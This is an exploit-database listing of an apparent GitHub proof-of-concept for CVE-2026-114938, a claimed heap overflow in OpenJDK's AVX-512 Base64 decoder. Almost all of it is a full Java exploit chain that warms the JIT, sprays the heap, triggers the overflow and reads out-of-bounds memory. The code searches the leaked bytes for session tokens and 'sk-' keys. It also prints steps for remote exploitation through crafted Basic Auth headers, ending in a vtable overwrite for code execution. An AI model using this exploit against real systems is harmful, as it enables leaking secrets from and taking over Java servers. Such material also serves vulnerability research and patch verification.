Exploit database

GH-0d4f9b516ef973b83b6882db1c307dc6

ikow/java4shell-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-114938

42 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8
ikow/java4shell-pocRevision 310f62c7fa30

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/Java4ShellExploit.java

Java · 16,550 bytes
import java.lang.management.ManagementFactory;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;

/**
 * Java4Shell Full Exploit Chain — CVE-2026-114938
 *
 * Demonstrates the complete exploitation path:
 *   Phase 1: WARM       — JIT compile the AVX-512 intrinsic
 *   Phase 2: SPRAY      — Fill TLAB with victim arrays
 *   Phase 3: TRIGGER    — Interleave tight-buffer decodes with victim checks
 *   Phase 4: DISCLOSE   — Read past corrupted array bounds
 *   Phase 5: REPAIR     — Note on header restoration
 *
 * The key to heap adjacency: use the two-arg decoder.decode(src, dst) with
 * dst sized EXACTLY to the expected output (50 bytes). The overflow then
 * writes 62 bytes past this buffer into whatever follows in the TLAB.
 *
 * We interleave: allocate victim -> allocate tight decode buffer -> decode
 * -> check if victim was hit. This maximizes the chance of adjacency
 * within the same TLAB bump-pointer region.
 *
 * REQUIRES: x86-64 with AVX-512 VBMI, JDK 17.0.6+ / 21 / 25 / 27
 */
public final class Java4ShellExploit {

    private static volatile int sink;

    private static final int JIT_WARMUP = 200_000;

    // The decoder for 65-byte input allocates ceil(65*3/4) = 49 output bytes,
    // but the internal math gives (65/4)*3 = 48 for the main loop +
    // tail handling. The actual output buffer for two-arg decode is whatever
    // we pass. We pass exactly 50 bytes — tight enough for the overflow to escape.
    private static final int DECODE_BUF_SIZE = 50;
    private static final int OVERFLOW_LEN = 62;
    private static final int VICTIM_SIZE = 64;
    private static final int ROUNDS = 20;
    private static final int PAIRS_PER_ROUND = 4096;

    public static void main(String[] args) {
        System.out.println("╔══════════════════════════════════════════════════════════╗");
        System.out.println("║     Java4Shell Exploit Chain — CVE-2026-114938          ║");
        System.out.println("║     OpenJDK AVX-512 VBMI Base64 Heap Overflow           ║");
        System.out.println("╚══════════════════════════════════════════════════════════╝");
        System.out.println();
        System.out.println("JDK:  " + System.getProperty("java.runtime.version"));
        System.out.println("VM:   " + System.getProperty("java.vm.name"));
        System.out.println("Arch: " + System.getProperty("os.arch"));
        System.out.println("PID:  " + ManagementFactory.getRuntimeMXBean().getName().split("@")[0]);
        System.out.println();

        String arch = System.getProperty("os.arch");
        if (!"amd64".equals(arch) && !"x86_64".equals(arch)) {
            System.err.println("ABORT: Requires x86-64 (got " + arch + ")");
            System.exit(1);
        }

        Base64.Decoder decoder = Base64.getDecoder();
        byte[] validInput = "A".repeat(64).getBytes(StandardCharsets.US_ASCII);
        byte[] malformedInput = ("A".repeat(64) + "=").getBytes(StandardCharsets.US_ASCII);

        // ====================================================================
        // Phase 1: WARM
        // ====================================================================
        System.out.println("[Phase 1] WARM — Compiling AVX-512 Base64 intrinsic");
        byte[] warmBuf = new byte[4096];
        for (int i = 0; i < JIT_WARMUP; i++) {
            sink += decoder.decode(validInput, warmBuf);
        }

        // Verify overflow with instrumented buffer
        Arrays.fill(warmBuf, (byte) 0x5A);
        try { decoder.decode(malformedInput, warmBuf); }
        catch (IllegalArgumentException e) {}

        int verifyCorrupt = 0;
        for (int i = DECODE_BUF_SIZE; i < DECODE_BUF_SIZE + OVERFLOW_LEN; i++) {
            if (warmBuf[i] != (byte) 0x5A) verifyCorrupt++;
        }

        if (verifyCorrupt == 0) {
            System.err.println("ABORT: No overflow detected. CPU may lack AVX-512 VBMI or JDK is patched.");
            System.exit(1);
        }
        System.out.printf("  Overflow verified: %d bytes past offset %d%n", verifyCorrupt, DECODE_BUF_SIZE);

        // Record what the overflow writes — these are the bytes that land on the victim
        byte[] overflowPattern = new byte[OVERFLOW_LEN];
        System.arraycopy(warmBuf, DECODE_BUF_SIZE, overflowPattern, 0, OVERFLOW_LEN);

        System.out.println("  Overflow pattern at victim offsets:");
        for (int row = 0; row < OVERFLOW_LEN; row += 16) {
            System.out.printf("    +%02d: ", row);
            for (int col = 0; col < 16 && row + col < OVERFLOW_LEN; col++) {
                System.out.printf("%02x ", overflowPattern[row + col] & 0xFF);
            }
            System.out.println();
        }

        // ====================================================================
        // Phase 2+3: SPRAY + TRIGGER (interleaved)
        // ====================================================================
        // Strategy: In each round, we allocate a batch of:
        //   victim[i] -> decodeBuf[i] -> trigger decode on decodeBuf[i]
        // The TLAB bump pointer places these sequentially. When decodeBuf[i]
        // lands right before victim[i+1] or any other array, the overflow
        // writes into it.
        //
        // We allocate victims AFTER decode buffers to maximize the chance
        // that a victim follows a decode buffer in the TLAB.

        int totalContentHits = 0;
        int totalLenHits = 0;
        byte[] bestVictim = null;
        int bestVictimNewLen = 0;
        int bestRound = -1;
        int bestIdx = -1;

        // Keep all references alive to prevent GC
        List<byte[][]> victimStore = new ArrayList<>();
        List<byte[][]> bufStore = new ArrayList<>();

        for (int round = 0; round < ROUNDS; round++) {
            // Approach: allocate decode buffer, then victim, then trigger.
            // The overflow from decodeBuf[i] should land on victim[i] if adjacent.
            byte[][] decodeBufs = new byte[PAIRS_PER_ROUND][];
            byte[][] victims = new byte[PAIRS_PER_ROUND][];

            // Pre-allocate interleaved: buf, victim, buf, victim, ...
            for (int i = 0; i < PAIRS_PER_ROUND; i++) {
                decodeBufs[i] = new byte[DECODE_BUF_SIZE + OVERFLOW_LEN]; // safe container
                victims[i] = new byte[VICTIM_SIZE];
                Arrays.fill(victims[i], (byte) 0xCC);
            }

            // Now trigger on each decode buffer
            int roundContent = 0;
            int roundLen = 0;

            for (int i = 0; i < PAIRS_PER_ROUND; i++) {
                Arrays.fill(decodeBufs[i], (byte) 0x5A);
                try { decoder.decode(malformedInput, decodeBufs[i]); }
                catch (IllegalArgumentException e) {}

                // Check if THIS victim was hit by the overflow from THIS or
                // adjacent decode buffer
                boolean contentChanged = false;
                for (int j = 0; j < Math.min(VICTIM_SIZE, victims[i].length); j++) {
                    if (victims[i][j] != (byte) 0xCC) {
                        contentChanged = true;
                        break;
                    }
                }

                int newLen = victims[i].length;
                if (contentChanged) roundContent++;
                if (newLen != VICTIM_SIZE && newLen > VICTIM_SIZE && newLen < 500_000) {
                    roundLen++;
                    if (newLen > bestVictimNewLen) {
                        bestVictim = victims[i];
                        bestVictimNewLen = newLen;
                        bestRound = round;
                        bestIdx = i;
                    }
                }
            }

            // Also check if any victim was hit by an earlier round's trigger
            // (less likely but possible with TLAB reuse)
            for (int prev = 0; prev < victimStore.size(); prev++) {
                byte[][] prevVictims = victimStore.get(prev);
                for (int i = 0; i < prevVictims.length; i++) {
                    if (prevVictims[i] == null) continue;
                    int newLen = prevVictims[i].length;
                    if (newLen != VICTIM_SIZE && newLen > VICTIM_SIZE && newLen < 500_000) {
                        if (newLen > bestVictimNewLen) {
                            bestVictim = prevVictims[i];
                            bestVictimNewLen = newLen;
                            bestRound = prev;
                            bestIdx = i;
                        }
                    }
                }
            }

            victimStore.add(victims);
            bufStore.add(decodeBufs);

            totalContentHits += roundContent;
            totalLenHits += roundLen;

            if (roundContent > 0 || roundLen > 0) {
                System.out.printf("  Round %2d: content=%d, length=%d%n",
                    round, roundContent, roundLen);
            }

            if (bestVictim != null) break;
        }

        System.out.println();
        System.out.printf("Total content corrupted: %d%n", totalContentHits);
        System.out.printf("Total length corrupted:  %d%n", totalLenHits);

        if (bestVictim != null) {
            System.out.printf("Best victim: round=%d, idx=%d, len=%d->%d%n",
                bestRound, bestIdx, VICTIM_SIZE, bestVictimNewLen);
            System.out.println();

            // ================================================================
            // Phase 4: DISCLOSE
            // ================================================================
            System.out.println("[Phase 4] DISCLOSE — Reading past corrupted array bounds");

            int bytesRead = 0;
            int maxRead = Math.min(bestVictimNewLen - VICTIM_SIZE, 512);
            byte[] leaked = new byte[maxRead];

            try {
                for (int i = 0; i < maxRead; i++) {
                    leaked[i] = bestVictim[VICTIM_SIZE + i];
                    bytesRead++;
                }
            } catch (ArrayIndexOutOfBoundsException e) {}

            System.out.printf("  Bytes disclosed: %d%n", bytesRead);

            if (bytesRead > 0) {
                String leakedStr = new String(leaked, 0, bytesRead, StandardCharsets.ISO_8859_1);
                boolean foundSecret = leakedStr.contains("SESSION{") || leakedStr.contains("sk-");

                System.out.println();
                System.out.println("  Heap hex dump:");
                int dumpLen = Math.min(bytesRead, 128);
                for (int row = 0; row < dumpLen; row += 16) {
                    System.out.printf("  %04x: ", row);
                    StringBuilder asc = new StringBuilder();
                    for (int col = 0; col < 16 && row + col < dumpLen; col++) {
                        byte b = leaked[row + col];
                        System.out.printf("%02x ", b & 0xFF);
                        asc.append(b >= 0x20 && b < 0x7F ? (char) b : '.');
                    }
                    for (int col = Math.min(16, dumpLen - row); col < 16; col++) System.out.print("   ");
                    System.out.printf(" |%s|%n", asc);
                }

                if (foundSecret) {
                    System.out.println();
                    System.out.println("  *** SECRETS FOUND IN HEAP DISCLOSURE ***");
                }
            }

            // ================================================================
            // Phase 5: Summary
            // ================================================================
            System.out.println();
            System.out.println("╔══════════════════════════════════════════════════════════╗");
            System.out.println("║                 EXPLOIT CHAIN SUCCESSFUL                ║");
            System.out.println("╚══════════════════════════════════════════════════════════╝");

        } else {
            // No adjacent placement — show the overflow proof
            System.out.println();
            System.out.println("Adjacent placement not achieved via local spray.");
            System.out.println("This is the hard part — why each target needs a bespoke profile.");
            System.out.println();
            demonstrateOverflowProof(decoder, malformedInput, overflowPattern);
        }
    }

    private static void demonstrateOverflowProof(Base64.Decoder decoder,
            byte[] malformed, byte[] pattern) {
        System.out.println("╔══════════════════════════════════════════════════════════╗");
        System.out.println("║           OVERFLOW PROOF — Memory Corruption            ║");
        System.out.println("╚══════════════════════════════════════════════════════════╝");
        System.out.println();
        System.out.println("The 62-byte overflow is confirmed. What it writes:");
        System.out.println();

        System.out.println("Buffer layout (50-byte allocation):");
        System.out.println("  [0        48]  <- valid decoded data");
        System.out.println("  [48      111]  <- OVERFLOW (64 bytes from VMOVDQU8)");
        System.out.println("  [50      111]  <- 62 bytes PAST the buffer end");
        System.out.println();

        System.out.println("Overflow bytes (what lands on the next heap object):");
        for (int row = 0; row < pattern.length; row += 16) {
            System.out.printf("  dst+%3d: ", DECODE_BUF_SIZE + row);
            StringBuilder asc = new StringBuilder();
            for (int col = 0; col < 16 && row + col < pattern.length; col++) {
                byte b = pattern[row + col];
                System.out.printf("%02x ", b & 0xFF);
                asc.append(b >= 0x20 && b < 0x7F ? (char) b : '.');
            }
            System.out.printf(" |%s|%n", asc);
        }

        // Analyze the overflow for exploitability
        System.out.println();
        System.out.println("Exploitation analysis:");
        System.out.printf("  - Bytes at +0..+13: 0x%02x (decoded garbage/padding)%n", pattern[0] & 0xFF);
        System.out.printf("  - Bytes at +14..+61: mostly 0x%02x%n", pattern[14] & 0xFF);

        // Check if the overflow contains values useful for length corruption
        // Array length is 4 bytes at header+12 (compressed oops)
        // If any 4-byte window in the overflow is > 64 when read as little-endian int,
        // it could extend a 64-byte victim array
        int usefulWindows = 0;
        for (int i = 0; i <= pattern.length - 4; i++) {
            int val = (pattern[i] & 0xFF) |
                      ((pattern[i + 1] & 0xFF) << 8) |
                      ((pattern[i + 2] & 0xFF) << 16) |
                      ((pattern[i + 3] & 0xFF) << 24);
            if (val > 64 && val < 1_000_000) {
                usefulWindows++;
            }
        }
        System.out.printf("  - 4-byte windows useful for length corruption: %d/%d%n",
            usefulWindows, pattern.length - 3);
        System.out.println();

        System.out.println("Remote exploitation path:");
        System.out.println("  1. WARM: ~200k valid Basic Auth requests (JIT compile intrinsic)");
        System.out.println("  2. GROOM: TCP ACK timing to control server heap allocation order");
        System.out.println("  3. TRIGGER: Send Authorization: Basic " +
            new String(("A".repeat(10) + "...=").getBytes()));
        System.out.println("  4. DISCLOSE: HTTP response includes heap data past array bounds");
        System.out.println("  5. REPAIR: Restore headers using leaked original values");
        System.out.println("  6. ESCALATE: With arbitrary R/W, overwrite vtable -> RCE");
        System.out.println();
        System.out.println("Each target needs bespoke heap profiling. No universal exploit.");
    }
}